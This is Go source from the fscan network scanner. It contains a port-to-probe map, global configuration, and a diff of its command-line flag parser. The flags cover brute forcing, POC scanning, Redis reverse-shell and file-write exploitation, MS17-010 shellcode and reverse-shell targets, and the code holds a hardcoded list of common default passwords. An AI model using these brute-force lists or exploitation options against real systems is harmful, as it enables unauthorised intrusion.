6670: {"GenericLines", "Help"},
6679: {"TLSSessionReq", "SSLSessionReq"},
6697: {"TLSSessionReq", "SSLSessionReq"},
6699: {"GetRequest"},
6715: {"JMON", "JMON"},
6789: {"JavaRMI"},
6802: {"NCP"},
6969: {"GetRequest"},
6996: {"JavaRMI"},
7000: {"RPCCheck", "DNSVersionBindReqTCP", "SSLSessionReq", "X11Probe"},
7002: {"GetRequest"},
7007: {"GetRequest"},
7008: {"DNSVersionBindReqTCP"},
7070: {"GetRequest", "RTSPRequest"},
7100: {"GetRequest", "X11Probe"},
7101: {"X11Probe"},
7144: {"GenericLines"},
7145: {"GenericLines"},
7171: {"NotesRPC"},
7200: {"GenericLines"},
7210: {"SSLSessionReq", "SSLv23SessionReq"},
7272: {"SSLSessionReq", "SSLv23SessionReq"},
7402: {"GetRequest"},
7443: {"GetRequest", "SSLSessionReq"},
7461: {"SMBProgNeg"},
7700: {"JavaRMI"},
7776: {"GetRequest"},
7777: {"X11Probe", "Socks5", "Arucer"},
7780: {"GenericLines"},
7800: {"JavaRMI"},
7801: {"JavaRMI"},
7878: {"JavaRMI"},
7887: {"xmlsysd"},
7890: {"JavaRMI"},
8000: {"GenericLines", "GetRequest", "X11Probe", "FourOhFourRequest", "Socks5", "Socks4"},
8001: {"GetRequest", "FourOhFourRequest"},
8002: {"GetRequest", "FourOhFourRequest"},
8003: {"GetRequest", "FourOhFourRequest"},
8004: {"GetRequest", "FourOhFourRequest"},
8005: {"GetRequest", "FourOhFourRequest"},
8006: {"GetRequest", "FourOhFourRequest"},
8007: {"GetRequest", "FourOhFourRequest"},
8008: {"GetRequest", "FourOhFourRequest", "Socks5", "Socks4", "ajp"},
8009: {"GetRequest", "SSLSessionReq", "SSLv23SessionReq", "FourOhFourRequest", "ajp"},
8010: {"GetRequest", "FourOhFourRequest", "Socks5"},
8050: {"JavaRMI"},
8051: {"JavaRMI"},
8080: {"GetRequest", "HTTPOptions", "RTSPRequest", "FourOhFourRequest", "Socks5", "Socks4"},
8081: {"GetRequest", "FourOhFourRequest", "SIPOptions", "WWWOFFLEctrlstat"},
8082: {"GetRequest", "FourOhFourRequest"},
8083: {"GetRequest", "FourOhFourRequest"},
8084: {"GetRequest", "FourOhFourRequest"},
8085: {"GetRequest", "FourOhFourRequest", "JavaRMI"},
8087: {"riak-pbc"},
8088: {"GetRequest", "Socks5", "Socks4"},
8091: {"JavaRMI"},
8118: {"GetRequest"},
8138: {"GenericLines"},
8181: {"GetRequest", "SSLSessionReq"},
8194: {"SSLSessionReq", "SSLv23SessionReq"},
8205: {"JavaRMI"},
8303: {"JavaRMI"},
8307: {"RPCCheck"},
8333: {"RPCCheck"},
8443: {"GetRequest", "HTTPOptions", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq", "FourOhFourRequest"},
8530: {"GetRequest"},
8531: {"GetRequest", "SSLSessionReq"},
8642: {"JavaRMI"},
8686: {"JavaRMI"},
8701: {"JavaRMI"},
8728: {"NotesRPC"},
8770: {"apple-iphoto"},
8880: {"GetRequest", "FourOhFourRequest"},
8881: {"GetRequest", "FourOhFourRequest"},
8882: {"GetRequest", "FourOhFourRequest"},
8883: {"GetRequest", "TLSSessionReq", "SSLSessionReq", "FourOhFourRequest", "mqtt"},
8884: {"GetRequest", "FourOhFourRequest"},
8885: {"GetRequest", "FourOhFourRequest"},
8886: {"GetRequest", "FourOhFourRequest"},
8887: {"GetRequest", "FourOhFourRequest"},
8888: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI", "LSCP"},
8889: {"JavaRMI"},
8890: {"JavaRMI"},
8901: {"JavaRMI"},
8902: {"JavaRMI"},
8903: {"JavaRMI"},
8999: {"JavaRMI"},
9000: {"GenericLines", "GetRequest"},
9001: {"GenericLines", "GetRequest", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq", "JavaRMI", "Radmin", "mongodb", "tarantool", "tor-versions"},
9002: {"GenericLines", "tor-versions"},
9003: {"GenericLines", "JavaRMI"},
9004: {"JavaRMI"},
9005: {"JavaRMI"},
9030: {"GetRequest"},
9050: {"GetRequest", "JavaRMI"},
9080: {"GetRequest"},
9088: {"informix", "drda"},
9089: {"informix", "drda"},
9090: {"GetRequest", "JavaRMI", "WMSRequest", "ibm-db2-das", "SqueezeCenter_CLI", "informix", "drda"},
9091: {"informix", "drda"},
9092: {"informix", "drda"},
9093: {"informix", "drda"},
9094: {"informix", "drda"},
9095: {"informix", "drda"},
9096: {"informix", "drda"},
9097: {"informix", "drda"},
9098: {"informix", "drda"},
9099: {"JavaRMI", "informix", "drda"},
9100: {"hp-pjl", "informix", "drda"},
9101: {"hp-pjl"},
9102: {"SMBProgNeg", "hp-pjl"},
9103: {"SMBProgNeg", "hp-pjl"},
9104: {"hp-pjl"},
9105: {"hp-pjl"},
9106: {"hp-pjl"},
9107: {"hp-pjl"},
9300: {"JavaRMI"},
9390: {"metasploit-xmlrpc"},
9443: {"GetRequest", "SSLSessionReq"},
9481: {"Socks5"},
9500: {"JavaRMI"},
9711: {"JavaRMI"},
9761: {"insteonPLM"},
9801: {"GenericLines"},
9809: {"JavaRMI"},
9810: {"JavaRMI"},
9811: {"JavaRMI"},
9812: {"JavaRMI"},
9813: {"JavaRMI"},
9814: {"JavaRMI"},
9815: {"JavaRMI"},
9875: {"JavaRMI"},
9910: {"JavaRMI"},
9930: {"ibm-db2-das"},
9931: {"ibm-db2-das"},
9932: {"ibm-db2-das"},
9933: {"ibm-db2-das"},
9934: {"ibm-db2-das"},
9991: {"JavaRMI"},
9998: {"teamspeak-tcpquery-ver"},
9999: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
10000: {"GetRequest", "HTTPOptions", "RTSPRequest"},
10001: {"GetRequest", "JavaRMI", "ZendJavaBridge"},
10002: {"ZendJavaBridge", "SharpTV"},
10003: {"ZendJavaBridge"},
10005: {"GetRequest"},
10031: {"HTTPOptions"},
10098: {"JavaRMI"},
10099: {"JavaRMI"},
10162: {"JavaRMI"},
10333: {"teamtalk-login"},
10443: {"GetRequest", "SSLSessionReq"},
10990: {"JavaRMI"},
11001: {"JavaRMI"},
11099: {"JavaRMI"},
11210: {"couchbase-data"},
11211: {"Memcache"},
11333: {"JavaRMI"},
11371: {"GenericLines", "GetRequest"},
11711: {"LDAPSearchReq"},
11712: {"LDAPSearchReq"},
11965: {"GenericLines"},
12000: {"JavaRMI"},
12345: {"Help", "OfficeScan"},
13013: {"GetRequest", "JavaRMI"},
13666: {"GetRequest"},
13720: {"GenericLines"},
13722: {"GetRequest"},
13783: {"DNSVersionBindReqTCP"},
14000: {"JavaRMI"},
14238: {"oracle-tns"},
14443: {"GetRequest", "SSLSessionReq"},
14534: {"GetRequest"},
14690: {"Help"},
15000: {"GenericLines", "GetRequest", "JavaRMI"},
15001: {"GenericLines", "JavaRMI"},
15002: {"GenericLines", "SSLSessionReq"},
15200: {"JavaRMI"},
16000: {"JavaRMI"},
17007: {"RPCCheck"},
17200: {"JavaRMI"},
17988: {"GetRequest"},
18086: {"GenericLines"},
18182: {"SMBProgNeg"},
18264: {"GetRequest"},
18980: {"JavaRMI"},
19150: {"GenericLines", "gkrellm"},
19350: {"LPDString"},
19700: {"kumo-server"},
19800: {"kumo-server"},
20000: {"JavaRMI", "oracle-tns"},
20547: {"proconos"},
22001: {"NotesRPC"},
22490: {"Help"},
23791: {"JavaRMI"},
25565: {"minecraft-ping"},
26214: {"GenericLines"},
26256: {"JavaRMI"},
26470: {"GenericLines"},
27000: {"SMBProgNeg"},
27001: {"SMBProgNeg"},
27002: {"SMBProgNeg"},
27003: {"SMBProgNeg"},
27004: {"SMBProgNeg"},
27005: {"SMBProgNeg"},
27006: {"SMBProgNeg"},
27007: {"SMBProgNeg"},
27008: {"SMBProgNeg"},
27009: {"SMBProgNeg"},
27010: {"SMBProgNeg"},
27017: {"mongodb"},
27036: {"TLS-PSK"},
30444: {"GenericLines"},
31099: {"JavaRMI"},
31337: {"GetRequest", "SIPOptions"},
31416: {"GenericLines"},
32211: {"LPDString"},
32750: {"RPCCheck"},
32751: {"RPCCheck"},
32752: {"RPCCheck"},
32753: {"RPCCheck"},
32754: {"RPCCheck"},
32755: {"RPCCheck"},
32756: {"RPCCheck"},
32757: {"RPCCheck"},
32758: {"RPCCheck"},
32759: {"RPCCheck"},
32760: {"RPCCheck"},
32761: {"RPCCheck"},
32762: {"RPCCheck"},
32763: {"RPCCheck"},
32764: {"RPCCheck"},
32765: {"RPCCheck"},
32766: {"RPCCheck"},
32767: {"RPCCheck"},
32768: {"RPCCheck"},
32769: {"RPCCheck"},
32770: {"RPCCheck"},
32771: {"RPCCheck"},
32772: {"RPCCheck"},
32773: {"RPCCheck"},
32774: {"RPCCheck"},
32775: {"RPCCheck"},
32776: {"RPCCheck"},
32777: {"RPCCheck"},
32778: {"RPCCheck"},
32779: {"RPCCheck"},
32780: {"RPCCheck"},
32781: {"RPCCheck"},
32782: {"RPCCheck"},
32783: {"RPCCheck"},
32784: {"RPCCheck"},
32785: {"RPCCheck"},
32786: {"RPCCheck"},
32787: {"RPCCheck"},
32788: {"RPCCheck"},
32789: {"RPCCheck"},
32790: {"RPCCheck"},
32791: {"RPCCheck"},
32792: {"RPCCheck"},
32793: {"RPCCheck"},
32794: {"RPCCheck"},
32795: {"RPCCheck"},
32796: {"RPCCheck"},
32797: {"RPCCheck"},
32798: {"RPCCheck"},
32799: {"RPCCheck"},
32800: {"RPCCheck"},
32801: {"RPCCheck"},
32802: {"RPCCheck"},
32803: {"RPCCheck"},
32804: {"RPCCheck"},
32805: {"RPCCheck"},
32806: {"RPCCheck"},
32807: {"RPCCheck"},
32808: {"RPCCheck"},
32809: {"RPCCheck"},
32810: {"RPCCheck"},
32913: {"JavaRMI"},
33000: {"JavaRMI"},
33015: {"tarantool"},
34012: {"GenericLines"},
37435: {"HTTPOptions"},
37718: {"JavaRMI"},
38978: {"RPCCheck"},
40193: {"GetRequest"},
41523: {"DNSStatusRequestTCP"},
44443: {"GetRequest", "SSLSessionReq"},
45230: {"JavaRMI"},
47001: {"JavaRMI"},
47002: {"JavaRMI"},
49152: {"FourOhFourRequest"},
49153: {"mongodb"},
49400: {"HTTPOptions"},
50000: {"GetRequest", "ibm-db2-das", "ibm-db2", "drda"},
50001: {"ibm-db2"},
50002: {"ibm-db2"},
50003: {"ibm-db2"},
50004: {"ibm-db2"},
50005: {"ibm-db2"},
50006: {"ibm-db2"},
50007: {"ibm-db2"},
50008: {"ibm-db2"},
50009: {"ibm-db2"},
50010: {"ibm-db2"},
50011: {"ibm-db2"},
50012: {"ibm-db2"},
50013: {"ibm-db2"},
50014: {"ibm-db2"},
50015: {"ibm-db2"},
50016: {"ibm-db2"},
50017: {"ibm-db2"},
50018: {"ibm-db2"},
50019: {"ibm-db2"},
50020: {"ibm-db2"},
50021: {"ibm-db2"},
50022: {"ibm-db2"},
50023: {"ibm-db2"},
50024: {"ibm-db2"},
50025: {"ibm-db2"},
50050: {"JavaRMI"},
50500: {"JavaRMI"},
50501: {"JavaRMI"},
50502: {"JavaRMI"},
50503: {"JavaRMI"},
50504: {"JavaRMI"},
50505: {"metasploit-msgrpc"},
51234: {"teamspeak-tcpquery-ver"},
55552: {"metasploit-msgrpc"},
55553: {"metasploit-xmlrpc", "metasploit-xmlrpc"},
55555: {"GetRequest"},
56667: {"GenericLines"},
59100: {"kumo-server"},
60000: {"ibm-db2", "drda"},
60001: {"ibm-db2"},
60002: {"ibm-db2"},
60003: {"ibm-db2"},
60004: {"ibm-db2"},
60005: {"ibm-db2"},
60006: {"ibm-db2"},
60007: {"ibm-db2"},
60008: {"ibm-db2"},
60009: {"ibm-db2"},
60010: {"ibm-db2"},
60011: {"ibm-db2"},
60012: {"ibm-db2"},
60013: {"ibm-db2"},
60014: {"ibm-db2"},
60015: {"ibm-db2"},
60016: {"ibm-db2"},
60017: {"ibm-db2"},
60018: {"ibm-db2"},
60019: {"ibm-db2"},
60020: {"ibm-db2"},
60021: {"ibm-db2"},
60022: {"ibm-db2"},
60023: {"ibm-db2"},
60024: {"ibm-db2"},
60025: {"ibm-db2"},
60443: {"GetRequest", "SSLSessionReq"},
61613: {"HELP4STOMP"},
}
var Passwords = []string{"123456", "admin", "admin123", "root", "", "pass123", "pass@123", "password", "Password", "P@ssword123", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e", "Charge123", "Aa123456789", "elastic123"}
var (
Outputfile string // 输出文件路径
OutputFormat string // 输出格式
)
// 添加一个全局的进度条变量
var ProgressBar *progressbar.ProgressBar
// 添加一个全局互斥锁来控制输出
var OutputMutex sync.Mutex
type PocInfo struct {
Target string
PocName string
}
var (
// =========================================================
// 扫描目标配置
// =========================================================
Ports string // 要扫描的端口列表,如"80,443,8080"
ExcludePorts string // 要排除的端口列表
ExcludeHosts string // 要排除的主机列表
AddPorts string // 额外添加的端口列表
HostPort []string // 主机:端口格式的目标列表
// =========================================================
// 认证与凭据配置
// =========================================================
Username string // 用于认证的用户名
Password string // 用于认证的密码
AddUsers string // 额外添加的用户名列表
AddPasswords string // 额外添加的密码列表
// 特定服务认证
Domain string // Active Directory/SMB域名
HashValue string // 用于哈希认证的单个哈希值
HashValues []string // 哈希值列表
HashBytes [][]byte // 二进制格式的哈希值列表
HashFile string // 包含哈希值的文件路径
SshKeyPath string // SSH私钥文件路径
// =========================================================
// 扫描控制配置
// =========================================================
ScanMode string // 扫描模式或指定的插件列表
ThreadNum int // 并发扫描线程数
ModuleThreadNum int // 模块内部线程数
Timeout int64 // 单个扫描操作超时时间(秒)
GlobalTimeout int64 // 整体扫描超时时间(秒)
LiveTop int // 显示的存活主机排名数量
DisablePing bool // 是否禁用主机存活性检测
UsePing bool // 是否使用ICMP Ping检测主机存活
EnableFingerprint bool // 是否跳过服务指纹识别
LocalMode bool // 是否启用本地信息收集模式
// =========================================================
// 输入文件配置
// =========================================================
HostsFile string // 包含目标主机的文件路径
UsersFile string // 包含用户名列表的文件路径
PasswordsFile string // 包含密码列表的文件路径
PortsFile string // 包含端口列表的文件路径
// =========================================================
// Web扫描配置
// =========================================================
TargetURL string // 单个目标URL
URLsFile string // 包含URL列表的文件路径
URLs []string // 解析后的URL目标列表
WebTimeout int64 // Web请求超时时间(秒)默认5秒
HttpProxy string // HTTP代理地址
Socks5Proxy string // SOCKS5代理地址
// =========================================================
// POC与漏洞利用配置
// =========================================================
// POC配置
PocPath string // POC脚本路径
Pocinfo PocInfo // POC详细信息结构
DisablePocScan bool //nopoc
// Redis利用
RedisFile string // Redis利用目标文件
RedisShell string // Redis反弹Shell命令
DisableRedis bool // 是否禁用Redis利用测试
RedisWritePath string // Redis文件写入路径
RedisWriteContent string // Redis文件写入内容
RedisWriteFile string // Redis写入的源文件
// 其他漏洞利用
Shellcode string // 用于MS17010等漏洞利用的Shellcode
// =========================================================
// 暴力破解控制
// =========================================================
DisableBrute bool // 是否禁用暴力破解模块
MaxRetries int // 连接失败最大重试次数
// =========================================================
// 输出与显示配置
// =========================================================
DisableSave bool // 是否禁止保存扫描结果
Silent bool // 是否启用静默模式
NoColor bool // 是否禁用彩色输出
LogLevel string // 日志输出级别
ShowProgress bool // 是否显示进度条
ShowScanPlan bool // 是否显示扫描计划详情
SlowLogOutput bool // 是否启用慢速日志输出
Language string // 界面语言设置
ApiAddr string // API地址
SecretKey string // 加密密钥
)
var (
UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36"
Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
DnsLog bool
PocNum int
PocFull bool
Cookie string
)

View File

@ -1,4 +1,4 @@
package common
package Common
import (
"flag"
@ -7,80 +7,8 @@ import (
"strings"
"github.com/fatih/color"
"github.com/shadow1ng/fscan/common/config"
"github.com/shadow1ng/fscan/common/i18n"
)
// Flag专用变量 (只在Flag.go中使用的变量直接定义在这里)
var (
ExcludeHosts string
Ports string
ExcludePorts string
AddPorts string
HostsFile string
PortsFile string
ModuleThreadNum int
GlobalTimeout int64
EnableFingerprint bool
AddUsers string
AddPasswords string
UsersFile string
PasswordsFile string
HashFile string
HashValue string
Domain string
SshKeyPath string
TargetURL string
URLsFile string
Cookie string
WebTimeout int64
UserAgent string
Accept string
PocPath string
PocFull bool
DnsLog bool
PocNum int
DisablePocScan bool
RedisFile string
RedisShell string
DisableRedis bool
RedisWritePath string
RedisWriteContent string
RedisWriteFile string
DisableBrute bool
DisableExploit bool
MaxRetries int
DisableSave bool
Silent bool
DisableProgress bool
Shellcode string
// 反弹Shell相关变量
ReverseShellTarget string
ReverseShellActive bool // 反弹Shell是否处于活跃状态
// SOCKS5代理相关变量
Socks5ProxyPort int // SOCKS5代理监听端口
Socks5ProxyActive bool // SOCKS5代理是否处于活跃状态
// Parse.go 使用的变量
HostPort []string
URLs []string
HashValues []string
HashBytes [][]byte
)
// Pocinfo POC信息变量
var Pocinfo config.PocInfo
func Banner() {
// 定义暗绿色系
colors := []color.Attribute{
@ -132,126 +60,194 @@ func Banner() {
func Flag(Info *HostInfo) {
Banner()
// 预处理语言设置 - 在定义flag之前检查lang参数
preProcessLanguage()
// ═════════════════════════════════════════════════
// 目标配置参数
// ═════════════════════════════════════════════════
flag.StringVar(&Info.Host, "h", "", i18n.GetText("flag_host"))
flag.StringVar(&ExcludeHosts, "eh", "", i18n.GetText("flag_exclude_hosts"))
flag.StringVar(&Ports, "p", MainPorts, i18n.GetText("flag_ports"))
flag.StringVar(&ExcludePorts, "ep", "", i18n.GetText("flag_exclude_ports"))
flag.StringVar(&HostsFile, "hf", "", i18n.GetText("flag_hosts_file"))
flag.StringVar(&PortsFile, "pf", "", i18n.GetText("flag_ports_file"))
flag.StringVar(&Info.Host, "h", "", GetText("flag_host"))
flag.StringVar(&ExcludeHosts, "eh", "", GetText("flag_exclude_hosts"))
flag.StringVar(&Ports, "p", MainPorts, GetText("flag_ports"))
flag.StringVar(&ExcludePorts, "ep", "", GetText("flag_exclude_ports"))
flag.StringVar(&HostsFile, "hf", "", GetText("flag_hosts_file"))
flag.StringVar(&PortsFile, "pf", "", GetText("flag_ports_file"))
// ═════════════════════════════════════════════════
// 扫描控制参数
// ═════════════════════════════════════════════════
flag.StringVar(&ScanMode, "m", "all", i18n.GetText("flag_scan_mode"))
flag.IntVar(&ThreadNum, "t", 600, i18n.GetText("flag_thread_num"))
flag.Int64Var(&Timeout, "time", 3, i18n.GetText("flag_timeout"))
flag.IntVar(&ModuleThreadNum, "mt", 50, i18n.GetText("flag_module_thread_num"))
flag.Int64Var(&GlobalTimeout, "gt", 180, i18n.GetText("flag_global_timeout"))
// LiveTop 参数已移除,改为智能控制
flag.BoolVar(&DisablePing, "np", false, i18n.GetText("flag_disable_ping"))
flag.BoolVar(&EnableFingerprint, "fingerprint", false, i18n.GetText("flag_enable_fingerprint"))
flag.BoolVar(&LocalMode, "local", false, i18n.GetText("flag_local_mode"))
flag.StringVar(&LocalPlugin, "localplugin", "", i18n.GetText("flag_local_plugin"))
flag.BoolVar(&AliveOnly, "ao", false, i18n.GetText("flag_alive_only"))
flag.StringVar(&ScanMode, "m", "all", GetText("flag_scan_mode"))
flag.IntVar(&ThreadNum, "t", 600, GetText("flag_thread_num"))
flag.Int64Var(&Timeout, "time", 3, GetText("flag_timeout"))
flag.IntVar(&ModuleThreadNum, "mt", 10, GetText("flag_module_thread_num"))
flag.Int64Var(&GlobalTimeout, "gt", 180, GetText("flag_global_timeout"))
flag.IntVar(&LiveTop, "top", 10, GetText("flag_live_top"))
flag.BoolVar(&DisablePing, "np", false, GetText("flag_disable_ping"))
flag.BoolVar(&UsePing, "ping", false, GetText("flag_use_ping"))
flag.BoolVar(&EnableFingerprint, "fingerprint", false, GetText("flag_enable_fingerprint"))
flag.BoolVar(&LocalMode, "local", false, GetText("flag_local_mode"))
// ═════════════════════════════════════════════════
// 认证与凭据参数
// ═════════════════════════════════════════════════
flag.StringVar(&Username, "user", "", i18n.GetText("flag_username"))
flag.StringVar(&Password, "pwd", "", i18n.GetText("flag_password"))
flag.StringVar(&AddUsers, "usera", "", i18n.GetText("flag_add_users"))
flag.StringVar(&AddPasswords, "pwda", "", i18n.GetText("flag_add_passwords"))
flag.StringVar(&UsersFile, "userf", "", i18n.GetText("flag_users_file"))
flag.StringVar(&PasswordsFile, "pwdf", "", i18n.GetText("flag_passwords_file"))
flag.StringVar(&HashFile, "hashf", "", i18n.GetText("flag_hash_file"))
flag.StringVar(&HashValue, "hash", "", i18n.GetText("flag_hash_value"))
flag.StringVar(&Domain, "domain", "", i18n.GetText("flag_domain")) // SMB扫描用
flag.StringVar(&SshKeyPath, "sshkey", "", i18n.GetText("flag_ssh_key")) // SSH扫描用
flag.StringVar(&Username, "user", "", GetText("flag_username"))
flag.StringVar(&Password, "pwd", "", GetText("flag_password"))
flag.StringVar(&AddUsers, "usera", "", GetText("flag_add_users"))
flag.StringVar(&AddPasswords, "pwda", "", GetText("flag_add_passwords"))
flag.StringVar(&UsersFile, "userf", "", GetText("flag_users_file"))
flag.StringVar(&PasswordsFile, "pwdf", "", GetText("flag_passwords_file"))
flag.StringVar(&HashFile, "hashf", "", GetText("flag_hash_file"))
flag.StringVar(&HashValue, "hash", "", GetText("flag_hash_value"))
flag.StringVar(&Domain, "domain", "", GetText("flag_domain")) // SMB扫描用
flag.StringVar(&SshKeyPath, "sshkey", "", GetText("flag_ssh_key")) // SSH扫描用
// ═════════════════════════════════════════════════
// Web扫描参数
// ═════════════════════════════════════════════════
flag.StringVar(&TargetURL, "u", "", i18n.GetText("flag_target_url"))
flag.StringVar(&URLsFile, "uf", "", i18n.GetText("flag_urls_file"))
flag.StringVar(&Cookie, "cookie", "", i18n.GetText("flag_cookie"))
flag.Int64Var(&WebTimeout, "wt", 5, i18n.GetText("flag_web_timeout"))
flag.StringVar(&HttpProxy, "proxy", "", i18n.GetText("flag_http_proxy"))
flag.StringVar(&Socks5Proxy, "socks5", "", i18n.GetText("flag_socks5_proxy"))
flag.StringVar(&TargetURL, "u", "", GetText("flag_target_url"))
flag.StringVar(&URLsFile, "uf", "", GetText("flag_urls_file"))
flag.StringVar(&Cookie, "cookie", "", GetText("flag_cookie"))
flag.Int64Var(&WebTimeout, "wt", 5, GetText("flag_web_timeout"))
flag.StringVar(&HttpProxy, "proxy", "", GetText("flag_http_proxy"))
flag.StringVar(&Socks5Proxy, "socks5", "", GetText("flag_socks5_proxy"))
// ═════════════════════════════════════════════════
// POC测试参数
// ═════════════════════════════════════════════════
flag.StringVar(&PocPath, "pocpath", "", i18n.GetText("flag_poc_path"))
flag.StringVar(&Pocinfo.PocName, "pocname", "", i18n.GetText("flag_poc_name"))
flag.BoolVar(&PocFull, "full", false, i18n.GetText("flag_poc_full"))
flag.BoolVar(&DnsLog, "dns", false, i18n.GetText("flag_dns_log"))
flag.IntVar(&PocNum, "num", 20, i18n.GetText("flag_poc_num"))
flag.BoolVar(&DisablePocScan, "nopoc", false, i18n.GetText("flag_no_poc"))
flag.StringVar(&PocPath, "pocpath", "", GetText("flag_poc_path"))
flag.StringVar(&Pocinfo.PocName, "pocname", "", GetText("flag_poc_name"))
flag.BoolVar(&PocFull, "full", false, GetText("flag_poc_full"))
flag.BoolVar(&DnsLog, "dns", false, GetText("flag_dns_log"))
flag.IntVar(&PocNum, "num", 20, GetText("flag_poc_num"))
flag.BoolVar(&DisablePocScan, "nopoc", false, GetText("flag_no_poc"))
// ═════════════════════════════════════════════════
// Redis利用参数
// ═════════════════════════════════════════════════
flag.StringVar(&RedisFile, "rf", "", i18n.GetText("flag_redis_file"))
flag.StringVar(&RedisShell, "rs", "", i18n.GetText("flag_redis_shell"))
flag.BoolVar(&DisableRedis, "noredis", false, i18n.GetText("flag_disable_redis"))
flag.StringVar(&RedisWritePath, "rwp", "", i18n.GetText("flag_redis_write_path"))
flag.StringVar(&RedisWriteContent, "rwc", "", i18n.GetText("flag_redis_write_content"))
flag.StringVar(&RedisWriteFile, "rwf", "", i18n.GetText("flag_redis_write_file"))
flag.StringVar(&RedisFile, "rf", "", GetText("flag_redis_file"))
flag.StringVar(&RedisShell, "rs", "", GetText("flag_redis_shell"))
flag.BoolVar(&DisableRedis, "noredis", false, GetText("flag_disable_redis"))
flag.StringVar(&RedisWritePath, "rwp", "", GetText("flag_redis_write_path"))
flag.StringVar(&RedisWriteContent, "rwc", "", GetText("flag_redis_write_content"))
flag.StringVar(&RedisWriteFile, "rwf", "", GetText("flag_redis_write_file"))
// ═════════════════════════════════════════════════
// 暴力破解控制参数
// ═════════════════════════════════════════════════
flag.BoolVar(&DisableBrute, "nobr", false, i18n.GetText("flag_disable_brute"))
flag.BoolVar(&DisableExploit, "ne", false, i18n.GetText("flag_disable_exploit"))
flag.IntVar(&MaxRetries, "retry", 3, i18n.GetText("flag_max_retries"))
flag.BoolVar(&DisableBrute, "nobr", false, GetText("flag_disable_brute"))
flag.IntVar(&MaxRetries, "retry", 3, GetText("flag_max_retries"))
// ═════════════════════════════════════════════════
// 输出与显示控制参数
// ═════════════════════════════════════════════════
flag.StringVar(&Outputfile, "o", "result.txt", i18n.GetText("flag_output_file"))
flag.StringVar(&OutputFormat, "f", "txt", i18n.GetText("flag_output_format"))
flag.BoolVar(&DisableSave, "no", false, i18n.GetText("flag_disable_save"))
flag.BoolVar(&Silent, "silent", false, i18n.GetText("flag_silent_mode"))
flag.BoolVar(&NoColor, "nocolor", false, i18n.GetText("flag_no_color"))
flag.StringVar(&LogLevel, "log", LogLevelBaseInfoSuccess, i18n.GetText("flag_log_level"))
flag.BoolVar(&DisableProgress, "nopg", false, i18n.GetText("flag_disable_progress"))
flag.StringVar(&Outputfile, "o", "result.txt", GetText("flag_output_file"))
flag.StringVar(&OutputFormat, "f", "txt", GetText("flag_output_format"))
flag.BoolVar(&DisableSave, "no", false, GetText("flag_disable_save"))
flag.BoolVar(&Silent, "silent", false, GetText("flag_silent_mode"))
flag.BoolVar(&NoColor, "nocolor", false, GetText("flag_no_color"))
flag.StringVar(&LogLevel, "log", LogLevelSuccess, GetText("flag_log_level"))
flag.BoolVar(&ShowProgress, "pg", false, GetText("flag_show_progress"))
flag.BoolVar(&ShowScanPlan, "sp", false, GetText("flag_show_scan_plan"))
flag.BoolVar(&SlowLogOutput, "slow", false, GetText("flag_slow_log_output"))
// ═════════════════════════════════════════════════
// 其他参数
// ═════════════════════════════════════════════════
flag.StringVar(&Shellcode, "sc", "", i18n.GetText("flag_shellcode"))
flag.StringVar(&ReverseShellTarget, "rsh", "", i18n.GetText("flag_reverse_shell_target"))
flag.IntVar(&Socks5ProxyPort, "socks5-port", 0, i18n.GetText("flag_socks5_proxy"))
flag.StringVar(&Language, "lang", "zh", i18n.GetText("flag_language"))
// 帮助参数
var showHelp bool
flag.BoolVar(&showHelp, "help", false, i18n.GetText("flag_help"))
flag.StringVar(&Shellcode, "sc", "", GetText("flag_shellcode"))
flag.StringVar(&Language, "lang", "zh", GetText("flag_language"))
flag.StringVar(&ApiAddr, "api", "", GetText("flag_api"))
flag.StringVar(&SecretKey, "secret", "", GetText("flag_api_key"))
// 解析命令行参数
parseCommandLineArgs()
// 设置语言
i18n.SetLanguage(Language)
SetLanguage()
}
// 更新进度条显示状态
ShowProgress = !DisableProgress
// 同步配置到core包
SyncToCore()
// 如果显示帮助或者没有提供目标,显示帮助信息并退出
if showHelp || shouldShowHelp(Info) {
flag.Usage()
os.Exit(0)
// FlagFormRemote 解析远程扫描的命令行参数
func FlagFromRemote(info *HostInfo, argString string) error {
if strings.TrimSpace(argString) == "" {
return fmt.Errorf("参数为空")
}
args, err := parseEnvironmentArgs(argString)
if err != nil {
return fmt.Errorf("远程参数解析失败: %v", err)
}
// 创建一个新的 FlagSet 用于远程参数解析,避免污染主命令行
fs := flag.NewFlagSet("remote", flag.ContinueOnError)
// 注册需要的远程 flag注意使用 fs 而非 flag 包的全局变量
fs.StringVar(&info.Host, "h", "", GetText("flag_host"))
fs.StringVar(&ExcludeHosts, "eh", "", GetText("flag_exclude_hosts"))
fs.StringVar(&Ports, "p", MainPorts, GetText("flag_ports"))
fs.StringVar(&ExcludePorts, "ep", "", GetText("flag_exclude_ports"))
fs.StringVar(&HostsFile, "hf", "", GetText("flag_hosts_file"))
fs.StringVar(&PortsFile, "pf", "", GetText("flag_ports_file"))
fs.StringVar(&ScanMode, "m", "all", GetText("flag_scan_mode"))
fs.IntVar(&ThreadNum, "t", 10, GetText("flag_thread_num"))
fs.Int64Var(&Timeout, "time", 3, GetText("flag_timeout"))
fs.IntVar(&ModuleThreadNum, "mt", 10, GetText("flag_module_thread_num"))
fs.Int64Var(&GlobalTimeout, "gt", 180, GetText("flag_global_timeout"))
fs.IntVar(&LiveTop, "top", 10, GetText("flag_live_top"))
fs.BoolVar(&DisablePing, "np", false, GetText("flag_disable_ping"))
